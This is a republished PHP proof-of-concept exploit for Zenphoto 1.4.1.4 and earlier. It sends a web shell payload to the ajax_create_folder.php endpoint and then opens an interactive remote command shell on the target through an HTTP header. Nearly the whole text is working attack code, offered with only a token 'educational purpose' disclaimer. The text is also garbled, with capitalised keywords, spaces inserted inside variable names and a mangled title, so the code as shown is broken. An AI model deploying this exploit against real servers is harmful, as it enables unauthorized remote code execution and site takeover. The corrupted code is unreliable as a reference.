Zenphoto & lt; = 1.4.1.4 (ajax_create_folder.php) Remote Code Execution defects and

 

<? Php

 

/*

--------------------------------------------------------------------------

Zenphoto <= 1.4.1.4 (ajax_create_folder.php) Remote Code Execution Exploit

--------------------------------------------------------------------------

Author: Egidio Romano aka EgiX www.2cto.com n0b0d13s [at] gmail [dot] com

: Http://www.zenphoto.org/

+ ------------------------------------------------------------------------- +

| This proof of concept code was written for educational purpose only. |

| Use it at your own risk. Author will be not responsible for any damage. |

+ ------------------------------------------------------------------------- +

[-] Overview:

All versions from 1.2.4 to 1.4.1.4 are affected.

*/

 

Error_reporting (0 );

Set_time_limit (0 );

Ini_set ("default_socket_timeout", 5 );

 

Function http_send ($ host, $ packet)

{

If (! ($ Sock = fsockopen ($ host, 80 )))

Die ("\ n [-] No response from {$ host}: 80 \ n ");

 

Fwrite ($ sock, $ packet );

Return stream_get_contents ($ sock );

}

 

Print "\ n + ----------------------------------------------------------- + ";

Print "\ n | Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX | ";

Print "\ n + ----------------------------------------------------------- + \ n ";

 

If ($ argc <3)

{

Print "\ nUsage...: php $ argv [0]

Print "\ nExample...: php $ argv [0] localhost /";

Print "\ nExample...: php $ argv [0] localhost/zenphoto/\ n ";

Die ();

}

 

$ Host = $ argv [1];

$ Path = $ argv [2];

 

$ Payload = "foo = <? Php error_reporting (0); print (_ code _); passthru (base64_decode (\ $ _ SERVER [HTTP_CMD]); die;?> ";

$ Packet = "POST {$ path} zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0 \ r \ n ";

$ Packet. = "Host: {$ host} \ r \ n ";

$ Packet. = "Content-Length:". strlen ($ payload). "\ r \ n ";

$ Packet. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";

$ Packet. = "Connection: close \ r \ n {$ payload }";

 

Http_send ($ host, $ packet );

 

$ Packet = "GET {$ path} zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/data. php HTTP/1.0 \ r \ n ";

$ Packet. = "Host: {$ host} \ r \ n ";

$ Packet. = "Cmd: % s \ r \ n ";

$ Packet. = "Connection: close \ r \ n ";

 

While (1)

{

Print "\ nzenphoto-shell #";

If ($ cmd = trim (fgets (STDIN) = "exit") break;

Preg_match ("/_ code _ (. *)/s", http_send ($ host, sprintf ($ packet, base64_encode ($ cmd), $ m )?

Print $ m [1]: die ("\ n [-] Exploit failed! \ N ");

}

 

?>